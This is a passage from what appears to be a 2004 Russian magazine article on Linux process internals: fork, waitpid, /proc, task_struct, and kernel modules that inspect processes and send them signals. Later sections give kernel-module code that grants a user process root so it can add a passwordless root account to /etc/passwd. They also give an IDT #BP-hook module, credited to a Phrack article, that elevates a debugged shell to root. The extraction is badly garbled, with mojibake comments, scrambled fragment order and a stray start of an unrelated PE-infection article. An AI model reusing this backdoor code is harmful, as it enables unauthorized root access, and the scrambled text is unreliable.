Второй аргумент будет содержать код статуса завершения процесса, поэтому он передается по ссылке. Возвращаемым значением функции будет PID порожденного процесса. В нашем примере значение первого аргумента равно идентификатору дочернего процесса. Для обработки кода статуса завершения процесса используются два макроса – WIFEXITED и WEXITSTATUS, которые определены в файле <sys/wait.h>. Макрос WIFEXITED возвращает ненулевое значение, если порожденный процесс был завершен посредством вызова exit. Макрос WEXITSTATUS возвращает код завершения порожденного процесса, присвоенного вызовом exit. Оба этих макроса обрабатывают значение второго аргумента функции waitpid – переменной status. Эта переменная имеет следующий формат: ! биты 0 – 6 – содержат нуль, если порожденный процесс был завершен с помощью функции exit, или номер сигнала, завершившего процесс. ! бит 7 – равен 1, если из-за прерывания порожденного процесса сигналом был создан дамп образа процесса (файл core). В противном случае равен 0. ! биты 8 – 15 – содержат код завершения порожденного процесса, переданный посредством exit. А теперь немного изменим приведенный выше пример для демонстрации возможности запуска в дочернем процессе новой программы: .... switch(pid = fork()) { case -1: perror("fork"); return -1;
printf("Âûïîëíÿåòñÿ ðîäèòåëüñêèé ïðîöåññ\n"); printf("Èäåíòèôèêàòîð äî÷åðíåãî ïðîöåññà - %d\n", pid); /* * Æäåì çàâåðøåíèÿ äî÷åðíåãî ïðîöåññà * è îáðàáàòûâàåì êîä ñòàòóñà çàâåðøåíèÿ */ if((pid = waitpid(pid, &status, 0)) && WIFEXITED(status)) { printf("Äî÷åðíèé ïðîöåññ ñ PID = %d ↵ çàâåðøèë âûïîëíåíèå\n", pid); printf("Êîä ñòàòóñà çàâåðøåíèÿ ðàâåí %d\n", ↵ WEXITSTATUS(status)); } return 0; }
Функция waitpid приостанавливает выполнение родительского процесса, пока не завершится порожденный процесс. Первый аргумент этой функции (pid) указывает, завершения какого именно порожденного процесса следует ожидать. Первый аргумент может принимать следующие значения: ! > 0 – ждать завершения процесса с данным идентификатором; ! 0 – ждать завершения любого порожденного процесса, принадлежащего к той же группе, что и родительский; ! -1 – ждать завершения любого порожденного процесса; ! < -1 – ждать любого порожденного процесса, идентификатор группы (GID) которого является абсолютным значением pid.
№6(19), июнь 2004
case 0: printf("Âûïîëíÿåòñÿ äî÷åðíèé ïðîöåññ\n");
} ....
execl("/bin/gzip", "gzip", "test.txt", 0); perror("gzip"); exit(errno);
Как видно из приведенного примера, в дочернем процессе при помощи системного вызова exec запускается на выполнение программа gzip, при помощи которой архивируется файл test.txt.
Получение информации о процессе при помощи proc Главным источником информации о процессах на пользовательском уровне является файловая система proc. Для доступа к этой информации достаточно перейти в каталог /proc. Информация о каждом процессе собрана в отдельном подкаталоге, имя которого совпадает с идентификационным номером процесса. Так, например, информация о процессе init находится в подкаталоге 1, т.к. идентификационный номер этого процесса зарезервирован и равен 1. На примере процесса init рассмотрим, какие файлы присутствуют в каталоге процесса и какую информацию о процессе они содержат (какая информация в них содержится):
43
программирование Все эти значения определены в файле <linux/sched.h>: #define #define #define #define #define
TASK_RUNNING TASK_INTERRUPTIBLE TASK_UNINTERRUPTIBLE TASK_ZOMBIE TASK_STOPPED
0 1 2 4 8
struct mm_struct *mm, struct mm_struct *active_mm
цесса;
Указатели на адресное пространство, выделенное процессу. В состав структуры struct mm_struct входит структура struct vm_area_struct * mmap, в которой находятся данные об областях памяти, выделенных процессу. Два поля этой структуры, vm_start и vm_end, содержат адреса памяти, которую использует процесс. Детальное рассмотрение структуры struct vm_area_struct выходит за рамки данной статьи, для дальнейшей работы нам достаточно и этой информации.
тые процессом;
pid_t pid
! cmdline – список аргументов процесса; ! cwd – символическая ссылка на текущий рабочий каталог процесса;
! environ – переменные среды процесса; ! exe – символическая ссылка на исполняемый файл про! fd – подкаталог, содержащий ссылки на файлы, откры! maps – адресное пространство, выделенное процессу; ! root – символическая ссылка на корневой каталог процесса;
! mounts – информация о точках монтирования и типах !
файловых систем; status – статистическая информация о процессе (имя процесса, идентификационный номер, состояние процесса, идентификатор владельца, группы, статистика использования памяти и т. д.).
Идентификационный номер процесса.
uid_t uid, euid, suid, fsuid Идентификаторы владельца процесса.
gid_t gid, egid, sgid, fsgid Идентификаторы группы, к которой принадлежит данный процесс.
char comm[16] Таким образом, при помощи /proc можно получить исчерпывающую информацию об интересующем процессе, используя имеющийся в нашем распоряжении инструментарий – команды shell либо средства языка программирования.
Представление процессов в ядре Совокупность процессов в ядре Linux представляет собой кольцевой двусвязный список структур struct task_struct. Структура struct task_struct определена в файле <linux/ sched.h> и содержит полную информацию о выполняемом процессе. Для нас интерес представляют следующие поля этой структуры:
volatile long state Статус выполняемого процесса. Может принимать следующие значения: ! TASK_RUNNING – процесс находится в очереди запущенных на выполнение задач; ! TASK_INTERRUPTIBLE – процесс в состоянии «сна», но может быть «разбужен» по сигналу или по истечении таймера; ! TASK_UNINTERRUPTIBLE – состояние процесса схоже с TASK_INTERRUPTIBLE, только он не может быть разбужен; ! TASK_ZOMBIE – процесс-«зомби». Процесс завершил свою работу до того, как родительский процесс выполнил системный вызов wait; ! TASK_STOPPED – выполнение процесса остановлено.
44
Символьное имя процесса.
struct fs_struct *fs Информация о файловой системе. Сама структура struct fs_struct определена в файле <linux/fs_struct.h>. Вот как она выглядит: struct fs_struct { atomic_t count; rwlock_t lock; int umask; struct dentry * root, * pwd, * altroot; struct vfsmount * rootmnt, * pwdmnt, * altrootmnt; };
Информация о точках монтирования корневого каталога и о текущем каталоге процесса находится в полях struct dentry *root и *pwd.
struct files_struct *files Информация о файлах, открытых процессом. Состав структуры struct files_struct (см.<linux/sched.h>: /* * Open file table structure */ struct files_struct { atomic_t count; /* Protects all the below members */ /* Nests inside tsk->alloc_lock */ rwlock_t file_lock; int max_fds; int max_fdset; int next_fd; struct file ** fd; /* current fd array */
программирование };
.... struct file * fd_array[NR_OPEN_DEFAULT];
В поле next_fd находится число открытых процессом файлов, а в массиве структур struct file ** fd собрана информация об этих файлах. Структура struct file определена в <linux/fs.h>.
unsigned long, каждый разряд которого соответствует одному сигналу. Номера всех сигналов перечислены в <asmi386/signal.h>.
sigset_t blocked Маска сигналов, заблокированных процессом. Для блокирования сигнала соответствующий бит устанавливается в 1.
struct signal_struct *sig Указатели на обработчики сигналов. Определение struct signal_struct находится в <linux/signal.h>: struct signal_struct { atomic_t struct k_sigaction spinlock_t };
count; action[_NSIG]; siglock;
В массиве структур struct k_sigaction action[_NSIG] находятся указатели на функции, которые вызывает процесс при получении сигналов. Структура struct k_sigaction определена в <asm-i386/signal>: struct k_sigaction { struct sigaction sa; };
Структура struct sigaction определена в этом же файле: struct sigaction { __sighandler_t sa_handler; unsigned long sa_flags; void (*sa_restorer)(void); sigset_t sa_mask; /* mask last for extensibility */ };
Адрес обработчика сигнала находится в поле __sighandler_t sa_handler структуры struct sigaction. Это поле может принимать следующие значения, определенные в <asmi386/signal.h>: #define SIG_DFL ((__sighandler_t)0) /* default signal handling */ #define SIG_IGN ((__sighandler_t)1) /* ignore signal */
Значение SIG_DFL требует выполнения стандартного действия. Отметим, что SIG_DFL эквивалентен NULL. Значение SIG_IGN означает, что сигнал будет игнорироваться. Также в этом поле может находиться адрес функции, которая будет вызвана по приходу сигнала. Поле sigset_t sa_mask представляет собой набор сигналов, которые должны быть заблокированы в течение обработки данного сигнала. Например, если для процесса необходимо заблокировать сигналы SIGHUP и SIGINT, пока обрабатывается сигнал SIGCHLD, тогда относящаяся к SIGCHLD sa_mask для процесса устанавливает разряды, соответствующие SIGHUP и SIGINT. Определение sigset_t находится в <asm-i386/signal.h>: #define _NSIG #define _NSIG_BPW 32 #define _NSIG_WORDS
Содержит номера сигналов, посылаемых процессу. Эта структура определена в <linux/sched.h> следующим образом: struct sigpending { struct sigqueue *head, **tail; sigset_t signal; };
sigset_t signal, как мы уже рассмотрели, является простой последовательностью бит, и посылка сигнала процессу означает установку бита в соответствующей позиции в 1. Для более детального ознакомления с вышеперечисленными полями разработаем модуль ядра, который при загрузке будет отображать информацию об определенном процессе, подобно тому, как это делает /proc (см. «Получение информации о процессе при помощи proc»). Для решения этой задачи нам понадобится какой-нибудь процесс. Лучше всего, если он будет функционировать в фоновом режиме (в режиме демона, daemon). Этот процесс после запуска будет выполнять следующие действия: ! перехватывать все сигналы, а для сигнала SIGUSR1 определять новый обработчик; ! открывать исполняемый файл программы, находящийся в текущем каталоге. Создадим такой процесс при помощи следующего кода: /* Ôàéë sfc.c */ #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <errno.h> #include <sys/types.h> static pid_t pid; // èäåíòèôèêàòîð ñîçäàâàåìîãî ïðîöåññà int main () { pid = fork(); if (pid < 0) { perror("fork"); return -1; }
64
if (pid == 0) { // äî÷åðíèé ïðîöåññ setsid(); // îòñîåäèíÿåìñÿ îò òåðìèíàëà start_daemon(); }
(_NSIG / _NSIG_BPW)
typedef struct { unsigned long sig[_NSIG_WORDS]; } sigset_t;
Единственный компонент в sigset_t – это массив из
№6(19), июнь 2004
struct sigpending pending
}
return 0;
Функция start_daemon() выполняет следующие задачи:
45
программирование ! перехватывает все сигналы; ! для сигнала SIGUSR1 определяет новый обработчик; ! открывает исполняемый файл программы, находящий!
for_each_task(p) if(strcmp(p->comm, name) == 0) return p;
ся в текущем каталоге; запускает на выполнение бесконечный цикл. void start_daemon() { int i, out; sigset_t mask; static struct sigaction act; sigfillset(&mask); sigdelset(&mask, SIGUSR1); /* Áëîêèðóåì âñå ñèãíàëû */ sigprocmask(SIG_SETMASK, &mask, NULL); /* Îïðåäåëÿåì íîâûé îáðàáîò÷èê äëÿ SIGUSR1 */ act.sa_handler = stop_daemon; sigaction(SIGUSR1, &act, NULL); /* Îòêðûâàåì èñïîëíÿåìûé ôàéë ïðîãðàììû */ out = open("./sfc", O_RDONLY); if(out < 0) perror("open"); for(;;); }
Новый обработчик сигнала SIGUSR1 просто завершит выполнение демона, вызвав функцию exit: void stop_daemon() { exit(0); }
Получаем исполняемый файл и запускаем его на выполнение: # gcc -o sfc sfc.c # ./sfc
Процесс начинает свое выполнение в фоновом режиме. Найдем его в списке процессов: # ps -ax | grep sfc 903 ? R 0:02 ./sfc
Итак, процесс ./sfc успешно выполняется, и его PID равен 903. Теперь приступим к реализации модуля ядра. /* Ôàéë task.c */ #include <linux/config.h> #include <linux/module.h> #include <linux/slab.h> #include <linux/sched.h> #include <linux/types.h> #include <linux/signal.h>
Первое, что должен сделать модуль после загрузки, – найти в списке структур struct task_struct структуру, соответствующую процессу sfc. Поиск выполняется при помощи функции find_task_by_name(). Аргументом функции является имя искомого процесса, возвращаемое значение – указатель на структуру процесса struct task_ struct. Функция find_task_by_name выглядит следующим образом:
46
struct task_struct * find_task_by_name(__u8 *name) { struct task_struct *p;
}
return 0;
Для прохождения всего списка процессов в системе предусмотрен макрос for_each_task(p) (см. файл <linux/ sched.h>): #define for_each_task(p) \ for (p = &init_task ; (p = p->next_task) != &init_task ; )
Функция find_task_by_name будет вызвана во время процедуры инициализации модуля: static int __init task_on(void) { struct task_struct *p; int pid = 0; int i;
Ищем структуру, которая описывает процесс sfc: p = find_task_by_name("sfc");
Если поиск завершился удачно, отобразим PID процесса (результаты работы модуля будут сохранены в файле /var/log/messages): if(p) printk(KERN_INFO "PID - %d\n", p->pid); else { printk(KERN_INFO "No such task\n"); return 0; }
Можно также выполнить поиск процесса по заданному PID при помощи функции find_task_by_pid(int pid) (см. <linux/sched.h>). Повторим поиск процесса, используя найденный PID: pid = p->pid; p = find_task_by_pid(pid);
Процесс найден. Отобразим результаты поиска:
! имя процесса и его состояние:
printk(KERN_INFO "NAME - %s\n", p->comm); printk(KERN_INFO "STATE - %u\n", (u32)p->state);
! адресное пространство процесса: printk(KERN_INFO "START ADDRESS - 0x%08X\n", ↵ (u32)p->active_mm->mmap->vm_start); printk(KERN_INFO "END ADDRESS - 0%08X\n", ↵ (u32)p->active_mm->mmap->vm_end);
! идентификаторы: printk(KERN_INFO printk(KERN_INFO printk(KERN_INFO printk(KERN_INFO printk(KERN_INFO printk(KERN_INFO
"UID - %d\n", p->uid); "GID - %d\n", p->gid); "EUID - %d\n", p->euid); "EGID - %d\n", p->egid); "FSUID - %d\n", p->fsuid); "FSGID - %d\n", p->fsgid);
! точка монтирования корневого каталога и имя каталога, откуда стартовал процесс sfc:
программирование printk(KERN_INFO "ROOT - %s\n", p->fs->root->d_name); printk(KERN_INFO "PWD - %s\n", p->fs->pwd->d_name);
! файлы, открытые процессом sfc: for(i = 0; i < p->files->next_fd; i++) printk(KERN_INFO "%s\n", ↵ p->files->fd[i]->f_dentry->d_name);
! адреса обработчиков сигналов: for(i = 0; i < 31; i++) printk(KERN_INFO "%d - 0x%08X\n", i, ↵ (unsigned int)p->sig->action[i].sa.sa_handler); }
return 0;
Функция выгрузки модуля из системы имеет стандартный вид: static void __exit task_off(void) { return; } module_init(task_on); module_exit(task_off);
Загружаемый модуль получим при помощи следующего Makefile: .PHONY = clean CC = gcc CFLAGS = -O2 -Wall KERNELDIR = /usr/src/linux MODFLAGS = -D__KERNEL__ -DMODULE -I$(KERNELDIR)/include
Именно для этого сигнала мы ввели новый обработчик, функцию stop_daemon. Извлечем адрес этой функции из исполняемого файла sfc и сравним его с результатом, полученным при работе модуля: # objdump -x ./sfc | grep stop_daemon 080484D8 g F .text 00000010 stop_daemon
Адрес функции stop_daemon – нового обработчика сигнала SIGUSR1 – равен 0x080484D8. Точно такое же значение выдал и модуль. Согласитесь, что просто смотреть на процесс неинтересно. Давайте им управлять. Пошлем процессу sfc из модуля сигнал SIGUSR1, при получении которого процесс завершит свое выполнение. Для того чтобы из ядра послать процессу сигнал, необходимо установить в структуре struct sigpending pending бит, соотвествующий порядковому номеру посылаемого сигнала, в единицу, а также присвоить единичное значение полю sigpending, которое служит индикатором того, что процесс получил сигнал и его надо обработать. Перепишем функцию инициализации модуля – вместо отображения информации о процессе sfc модуль будет посылать ему сигнал SIGUSR1. Функция инициализации модуля будет выглядеть следующим образом: static int __init task_on(void) { struct task_struct *p;
Ищем процесс sfc:
all: task.o p = find_task_by_name("sfc");
task.o: task.c $(CC) $(CFLAGS) $(MODFLAGS) -c task.c
if(p) printk(KERN_INFO "PID - %d\n", p->pid); else { printk(KERN_INFO "No such task\n"); return 0; }
clean: rm -f *.o *~ core
Процесс sfc уже запущен на выполнение. После загрузки модуля информация об этом процессе будет собрана в файле /var/log/messages. Cравните результаты работы модуля с данными о процессе, которые находятся в /proc. Остановимся подробнее на информации, касающейся адресов обработчиков сигналов:
В структуре struct sigpending pending устанавливаем бит, соответствующий сигналу SIGUSR1: sigaddset(&p->pending.signal, SIGUSR1); p->sigpending = 1; // èíäèêàòîð ïðèõîäà ñèãíàëà }
return 0;
Функция sigaddset устанавливается в 1 бит с указанным номером. Номер бита передается как параметр функции. Эта функция (платформенно-зависимый вариант) определена в файле <asm-i386/signal.h>:
Как мы видим, все адреса обработчиков сигналов имеют значение SIG_DFL, т.е. NULL. Это значит, что при поступлении любого из этих сигналов процессу, система выполнит стандартные действия. Исключение составляет сигнал под номером 9 (10-й в списке). Согласно перечню, приведенному в <asm-i386/ signal.h>, это сигнал SIGUSR1: #define SIGUSR1
№6(19), июнь 2004
10
static __inline__ void sigaddset(sigset_t *set, int _sig) { __asm__("btsl %1,%0" : "=m"(*set) : ↵ "Ir"(_sig - 1) : "cc"); }
Загрузив модуль, мы тем самым отправим процессу sfc сигнал SIGUSR1 и остановим его выполнение. Кстати, совсем не обязательно переопределять обработчик сигнала в самом процессе – это можно сделать в модуле, вписав адрес нового обработчика непосредственно в поле sa_handler.
47
программирование Посмотрим, как это делается. Перепишем функцию start_daemon процесса, убрав из нее переопределение обработчика сигнала SIGUSR1: void start_daemon() { sigset_t mask; sigfillset(&mask); /* Áëîêèðóåì âñå ñèãíàëû */ sigprocmask(SIG_SETMASK, &mask, NULL); for(;;); }
В функции start_daemon() заблокированы все сигналы, новые обработчики не определены. Функцию stop_daemon оставим без изменений. Получаем исполняемый файл и определяем адрес функции stop_daemon: # gcc -o sfc sfc.c # objdump -x ./sfc | grep stop_daemon 08048434 g F .text 00000010 stop_daemon
Адрес функции stop_daemon равен 0x08048434. Этот адрес будет указан в качестве нового обработчика сигнала SIGUSR2 для процесса sfc. Переопределение обработчика сигнала выполняет непосредственно модуль, вследствие чего функция инициализации модуля принимает следующий вид:
sigaddset(&p->pending.signal, SIGUSR2); p->sigpending = 1; return 0; }
Сброс бита в маске заблокированных сигналов выполняет функция sigdelset(), которая определена в файле <asm-i386/signal.h>: static __inline__ void sigdelset(sigset_t *set, int _sig) { __asm__("btrl %1,%0" : "=m"(*set) : ↵ "Ir"(_sig - 1) : "cc"); }
Это также платформенно-зависимый вариант функции. Подведем предварительные итоги – мы выяснили, как при помощи модуля ядра можно получить информацию о выполняющемся процессе и как из ядра послать процессу сигнал. Рассмотрим еще один пример работы с содержимым структуры task_struct. Предположим, что в системе зарегистрирован пользователь play. Идентификатор этого пользователя (UID) равен 1000, и принадлежит он к группе users (GID=100). От имени этого пользователя в фоновом режиме выполняется процесс, который по приходу сигнала SIGUSR2 пытается добавить в файл /etc/passwd новую учетную запись для пользователя play1, обладающего правами root: play1::0:0:,,,:/home/play1:/bin/bash
static int __init task_on(void) { struct task_struct *p;
Ищем структуру, соответствующую процессу sfc: p = find_task_by_name("sfc"); if(p) printk(KERN_INFO "PID - %d\n", p->pid); else { printk(KERN_INFO "No such task\n"); return 0; }
Устанавливаем адрес нового обработчика сигнала SIGURS2 – вписываем адрес функции stop_daemon в поле адреса обработчика sa_handler. Порядковый номер сигнала SIGUSR2 известен и равен 12 (см. <asm-i386/ signal.h>): (unsigned int)p->sig->action[11].sa.sa_handler = 0x8048434;
Если мы сейчас же пошлем сигнал процессу, то он его не воспримет. Почему? Дело в том, что все сигналы на данный момент заблокированы в функции start_daemon. Чтобы процесс воспринял приход сигнала SIGUSR2, нужно его разблокировать. Для этого необходимо сбросить соответствующий бит в маске заблокированных сигналов – в поле sigset_t blocked структуры task_struct: sigdelset(p->blocked.sig, SIGUSR2);
А теперь посылаем сигнал SIGURS2 процессу:
48
Очевидно, что попытка записи в файл /etc/passwd какой-либо информации будет безуспешной, если процесс не обладает достаточным уровнем привилегий. Значит, необходимо выдать этому процессу соответствующие полномочия – права суперпользователя (root). Заботу об этом берет на себя модуль ядра, который после загрузки находит структуру, описывающую процесс, назначает ему права суперпользователя путем установки полей uid/gid, euid/egid, suid/sgid, fsuid/fsgid структуры процесса в 0 и после этого посылает процессу «уведомление» о том, что тот «выиграл в лотерею» – получил права root. «Уведомление» представляет собой сигнал SIGUSR2, при получении которого процесс выполняет запись информации в файл /etc/passwd, уже имея для этого соответствующие полномочия. Итак, нам необходим процесс, который по сигналу SIGUSR2 будет выполнять запись в /etc/passwd. Модифицируем уже имеющийся в нашем распоряжении процесс sfc. Изменениям подвергнутся только функции start_daemon и stop_daemon. В функции start_daemon определим новый обработчик для сигнала SIGUSR2: void start_daemon() { sigset_t mask; static struct sigaction act; sigfillset(&mask); sigdelset(&mask, SIGUSR2);
программирование /* Block all signal */ sigprocmask(SIG_SETMASK, &mask, NULL); act.sa_handler = stop_daemon; sigaction(SIGUSR2, &act, NULL); }
for(;;);
Обработчик сигнала SIGUSR2 – функция stop_daemon – имеет следующий вид: void stop_daemon() { int psw; unsigned char *str = "play1::0:0:,,,:/home/play1:/bin/bash\n"; psw = open("/etc/passwd", O_APPEND|O_RDWR); if(psw < 0) goto out; if(write(psw, str, 37)) close(psw); out: exit(0); }
Тут все просто. Теперь модуль. Изменения коснутся функции инициализации: static int __init task_on(void) { struct task_struct *p; printk(KERN_INFO "Current - %s\n", current->comm); p = find_task_by_name("sfc"); if(p) printk(KERN_INFO "PID - %d\n", p->pid); else { printk(KERN_INFO "No such task\n"); return 0; }
Назначаем права root процессу sfc для возможности записи информации в файл /etc/passwd: p->fsuid = 0; p->fsgid = 0;
Посылаем процессу сигнал SIGUSR2: sigaddset(&p->pending.signal, SIGUSR2); p->sigpending = 1; }
return 0;
Компилируем и запускаем процесс sfc от имени пользователя play. После этого загружаем модуль и пробуем зайти в систему под именем play1. Кроме присвоения привилегий процессу sfc, модуль отображает также информацию о текущем выполняющемся процессе:
Именно с помощью команды insmod мы загружаем модуль. Вопрос: каким образом можно воздействовать на текущий процесс? Ведь по сравнению с фоновым он надолго в памяти не задерживается. Например, тот же insmod – загрузил модуль и сразу на выход. По этому поводу очень интересный пример был при-
№6(19), июнь 2004
веден в 59-м выпуске электронного журнала PHRACK (www.phrack.com), автор которого kad (реальное имя не было указано, только e-mail – kadamyse@altern.org) показал, как можно присвоить права root текущему процессу пользователя, используя для этой цели исключения. Замечание. Исключения (exception) – это внутренние прерывания процессора, сигнализирующие ему о том, что произошла исключительная ситуация, требующая немедленного вмешательства. Яркий пример исключения – ошибка деления на 0, Divide Error, мнемоническое обозначение #DE. Подробная информация об исключениях и полный их перечень приведен в IA-32 Intel Architecture Software Developer’s Manual, Volume 3: System Programming Guide, Chapter 5 «Interrupt and Exception Handling» (www.intel.com). Основная идея заключается в перехвате исключения номер 3, Breakpoint (мнемоническое обозначение #BP), которое возникает при работе отладчика. Перехват представляет собой простую замену адреса обработчика исключения #BP в таблице дескрипторов прерываний (IDT, Interrupt Descriptor Table) адресом нового обработчика. При возникновении #BP управление передается новому обработчику, который вернет управление старому, но не сразу – сначала он проверит, кем было сгенерировано исключение #BP, т.е. какой процесс является текущим, current. Проверка выполняется путем сравнения значения, находящегося в поле comm структуры процесса, с шаблонным значением, которое хранится в новом обработчике #BP. Короче говоря, сравниваются две строки, при совпадении которых текущий процесс (назовем его «test») получает привилегии root: if(strcmp(current->comm, "test") == 0) current->uid = 0;
Для того чтобы процесс вызвал исключение #BP, его необходимо запустить в отладчике и установить где-нибудь точку останова, например на функцию main. Как только эта точка будет достигнута, будет сгенерировано исключение #BP и управление получит новый обработчик. Рассмотрим реализацию модуля ядра, выполняющего перехват #BP ((c) kadamyse@altern.org). /* Ôàéë task1.c */ #include <linux/module.h> #include <linux/slab.h> #include <linux/sched.h> #include <linux/init.h> #include <linux/types.h> // Ïðîòîòèï íîâîãî îáðàáîò÷èêà èñêëþ÷åíèÿ #BP extern void my_stub(); // àäðåñ òàáëèöû IDT __u32 idt_addr = 0; // àäðåñ ñòàðîãî îáðàáîò÷èêà èñêëþ÷åíèÿ #BP __u32 old_handler = 0; // àäðåñ ôóíêöèè, êîòîðàÿ áóäåò âûçâàíà ïåðåä îáðàáîò÷èêîì // èñêëþ÷åíèÿ #BP. __u32 new_handler = 0;
Формат дескриптора IDT определяет следующая структура: struct descr_idt { __u16 off_low; __u16 sel;
49
программирование __u8 none, flags; __u16 off_high; } __attribute__ ((packed));
Два поля этой структуры, off_low и off_high, содержат адрес обработчика исключения. В поле off_low находятся младшие 16 бит, а в поле off_high – старшие 16 бит адреса обработчика. Для получения адреса обработчика содержимое этих полей необходимо сложить следующим образом: __u32 address = (__u32)(off_high << 16) | off_low);
Подмену адресов в таблице IDT выполняет функция set_handler(): void set_handler(int i, __u32 new_addr) {
}
idt[i].off_high = (__u16)(new_addr >> 16); idt[i].off_low = (__u16)(new_addr & 0x0000FFFF);
Параметры этой функции:
! int i – номер дескриптора, в котором нужно изменить адрес обработчика;
! __u32 new_addr – адрес нового обработчика. Следующий указатель нам понадобится для размещения новой таблицы IDT: struct descr_idt *idt;
Формат регистра таблицы дескрипторов прерываний (IDTR, Interrupt Descriptor Table Register): struct { __u16 limit; // ðàçìåð òàáëèöû IDT __u32 base; // áàçîâûé àäðåñ òàáëèöû IDT } __attribute__ ((packed)) idtr;
Адрес таблицы IDT считывает следующая функция: __u32 get_idt_addr() { __u32 idt_addr; asm ("sidt %0":"=m" (idtr)); idt_addr = idtr.base; }
void set_new_idt() { unsigned long flags; /* * Âûäåëÿåì ïàìÿòü äëÿ íîâîé òàáëèöû IDT è êîïèðóåì â íåå * ñîäåðæèìîå ñòàðîé òàáëèöû: */ idt = (struct descr_idt *)kmalloc(255 * ↵ sizeof(struct descr_idt),GFP_KERNEL); memcpy((void *)idt, (void *)idt_addr, 255 * ↵ sizeof(struct descr_idt)); /* *  ïîëå base ñòðóêòóðû idtr çàíîñèì íîâîå çíà÷åíèå * áàçîâîãî àäðåñà òàáëèöû è çàãðóæàåì åãî â ðåãèñòð IDTR * èíñòðóêöèåé LIDT. */ idtr.base = (__u32)idt; __save_flags(flags); __cli(); __asm__("lidt %0"::"m" (idtr)); __restore_flags(flags);
50
__u32 get_handler(int i) { return((idt[i].off_high << 0x10) | idt[i].off_low); }
Следующая функция выполняет непосредственно то, ради чего все затевалось – назначает права root процессу test. Эта функция должна быть вызвана перед обработчиком исключения #BP для проверки имени текущего процесса: asmlinkage void my_handler() { if(strcmp(current->comm, "test") == 0) { current->uid = 0; current->gid = 0; current->euid = 0; current->egid = 0; current->suid = 0; current->sgid = 0; current->fsuid = 0; current->fsgid = 0;
return idt_addr;
Функция get_idt_addr() считывает содержимое регистра IDTR в структуру idtr при помощи инструкции SIDT. В результате в поле base этой структуры будет находиться искомый базовый адрес IDT. После того как найден базовый адрес IDT, можно создать новую таблицу дескрипторов прерываний, а затем в ней произвести подмену адреса исключения #BP:
}
Перед заменой адресов желательно сохранить адрес «родного» обработчика. Для этого необходимо прочитать этот адрес из таблицы IDT:
return;
} }
printk(KERN_INFO "%s - EXCEPTION #BP occured!\n", current->comm);
return;
При совпадении имен текущего процесса и шаблона функция назначает процессу привилегии root. Осталось рассмотреть, чем мы заменим стандартный обработчик исключения #BP. Следующая функция содержит в себе определение вызова нового обработчика исключения #BP – my_stub(): void stub() { __asm__ __volatile__ ( ".globl my_stub \n" ".align 4, 0x90 \n" "my_stub: \n" // íîâûé îáðàáîò÷èê! " call *%0 \n" " jmp *%1 " ::"m"(new_handler),"m"(old_handler)); }
Сначала команда call вызвает функцию my_handler, адрес которой находится в переменной new_handler, а после возврата из этой функции команда jmp передает управление по адресу старого обработчика #BP, который
программирование сохранен в переменной old_handler. Все функции, которые мы рассмотрели, будут вызваны во время загрузки модуля ядра:
Запускаем процесс на выполнение:
int init_module() { int i = 3; // íîìåð èñêëþ÷åíèÿ — Breakpoint (#BP) __u32 new_addr; // àäðåñ íîâîãî îáðàáîò÷èêà èñêëþ÷åíèÿ #BP /* * Ñ÷èòûâàåì àäðåñ òàáëèöû IDT è ôîðìèðóåì íîâóþ òàáëèöó */ idt_addr = get_idt_addr(); printk(KERN_INFO "Old IDT address - 0x%08x\n",(__u32)(idt_addr)); set_new_idt(); printk(KERN_INFO "New IDT address - 0x%08x\n",(__u32)(idtr.base));
Дошли до точки останова #1. Продолжим выполнение процесса:
Запущен новый shell. Проверяем, с какими правами:
new_handler = (__u32)&my_handler; // àäðåñ ô-èè my_handler /* * Ñîõðàíÿåì àäðåñ ñòàðîãî îáðàáîò÷èêà #BP, îïðåäåëÿåì àäðåñ * íîâîãî è ïðîèçâîäèì çàìåíó àäðåñîâ â íîâîé òàáëèöå IDT */ old_handler = get_handler(i); new_addr = (__u32)&my_stub; set_handler(i, new_addr); }
return 0;
В итоге мы получили в свое распоряжение еще один shell с правами play. Интересного в этом мало. Другое дело, если запустить shell с правами root. Завершим работу отладчика:
Во время выгрузки модуля необходимо восстановить старую таблицу IDT. Ее адрес сохранен в переменной idt_addr. Адрес обработчика #BP восстанавливать не надо, так как в старой таблице он остался без изменений. void cleanup_module() { unsigned long flags;
Теперь загрузим модуль и опять запустим процесс в отладчике:
/* * Çàíîñèì àäðåñ òàáëèöû IDT â ïîëå base ñòðóêòóðû idtr * à çàòåì êîìàíäîé LIDT çàãðóæàåì åãî â ðåãèñòð IDTR */ idtr.base = (__u32)idt_addr; __save_flags(flags); __cli(); __asm__("lidt %0"::"m" (idtr)); __restore_flags(flags); /* * Îñâîáîæäàåì ïàìÿòü, çàíÿòóþ íîâîé òàáëèöåé IDT */ kfree(idt); printk(KERN_INFO "Old IDT address restore ↵ (0x%08x)\n",(__u32)(idtr.base)); return; }
Процесс, статус которого мы хотим повысить, выглядит следующим образом: /* Ôàéë test.c */ int main() { system("/bin/bash"); return 0; }
Запускаем процесс в отладчике:
Устанавливаем точку останова на функцию main():
№6(19), июнь 2004
Смотрим, какими правами обладает новый shell:
На этот раз все получилось так, как мы и предполагали, – модуль перехватил исключение #BP, которое возникло в момент остановки выполнения процесса на функции main, проверил имя процесса и установил его идентификаторы в 0, повысив тем самым уровень привилегий процесса до root. После этого управление было передано «родному» обработчику исключения #BP и процесс продолжил свое выполнение, но уже с другими правами, которые и унаследовал новый shell.
Литература: 1. Теренс Чан. Системное программирование на С++ для UNIX: Пер. с англ. – К.: Издательская группа BHV, 1999. – 592c. 2. М. Митчелл, Д. Оулдем, А. Самьюэл. Программирование в Linux. Профессиональный подход.: Пер. с англ. – М.: Издательский дом «Вильямс», 2002. – 288 с.:ил.
51
программирование
ПУТЬ ВОИНА – ВНЕДРЕНИЕ В PE/COFF-ФАЙЛЫ …хакерство вытеснило все – голод, интерес к девушкам, друзей, учебу, родителей, смысл жизни. Это был дракон, сжигающий все на своем пути, оставляющий лишь запах напалма и смутные картинки прошлого в памяти. Когда я включал компьютер, я испытывал чувства, знакомые, наверное, только заядлому наркоману, который наконец ширнулся после двухмесячного «голода»… Аноним
Статья подробно описывает формат PE-файлов, раскрывая особенности внутренней кухни системного загрузчика и двусмысленности фирменной спецификации, предупреждая читателя о многочисленных ловушках, подстерегающих его на пути внедрения своего кода в чужие исполняемые файлы. Здесь вы найдете большое количество исходных текстов, законченных решений и наглядных примеров, упрощающих восприятие материала. Статья ориентирована главным образом на Windows NT/9x и производные от них системы, но также затрагивает и проблему совместимости с Windows-эмуляторами, такими, например, как wine и doswin32.
